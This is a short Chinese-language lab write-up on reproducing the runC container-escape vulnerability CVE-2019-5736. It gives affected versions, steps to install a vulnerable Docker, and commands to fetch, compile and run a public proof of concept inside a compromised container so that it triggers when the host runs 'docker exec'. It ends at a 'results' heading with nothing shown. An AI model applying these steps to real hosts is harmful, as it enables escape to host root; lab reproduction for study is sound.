平台或产品 | 受影响版本 | 不受影响版本 |
---|---|---|
Docker | Version < 18.09.2 | Version >= 18.09.2 |
runC | Version <= 1.0-rc6 |
runc是一个底层服务工具,它负责大量生成Linux容器,然后docker部分版本服务运行时底层其实在运行着runc服务,本次漏洞就是为你在docker内获取root权限通过 利用runc中的错误来获取运行容器的主机的root权限。
版本安装:
第一步、卸载已经在Ubuntu系统中安装的docker
$ sudo apt-get remove docker docker-engine docker-ce docker.io
如果你原先并没有在Ubuntu 18.04系统中安装过docker,只是需要指定的版本,则这步省去。
第二步、安装前准备
1、更新索引包
$ sudo apt-get update
2、安装以下包,以使apt可以通过https来使用repository
$ sudo apt-get install -y apt-transport-https ca-certificates curl software-properties-common
3、添加Docker官方的GPG密钥并更新索引包
$ curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
$ sudo apt-get update
第三步、安装指定的docker版本,本文以18.06为例
1、列出可用版本
apt-cache madison docker-ce
sudo apt-get install docker-ce=<VERSION>
查看一下 ok
攻击机:kali
运行机器:ububtu
poc:https://github.com/Frichetten/CVE-2019-5736-PoC
修改命令的地方
我首先在ubuntu上开了一个weblogic的docker环境,然后使用msf里面自带的cve-2018-2628获取权限然后进去docker环境运行poc,为了体现漏洞,测试了更高的权限(前提是目标管理docker的用户可以调用此权限)。
kali:
本地编译
go build main.go 编译exp
在docker中执行(docker root权限下):
apt-get update -y && \
apt-get install libseccomp-dev -y && \
apt-get install curl -y && \
curl POC -o ./poc && \
chmod u+x ./poc && \
$ ./poc
(等待目标进入docker执行exec)
ubuntu:
宿主机而言,docker exec时会报错,但是不影响命令的执行。这里出现seccomp_version的原因是安装的seccomp-dev版本过低。如果版本没问题,会报错No help topic for /bin/sh
验证成果: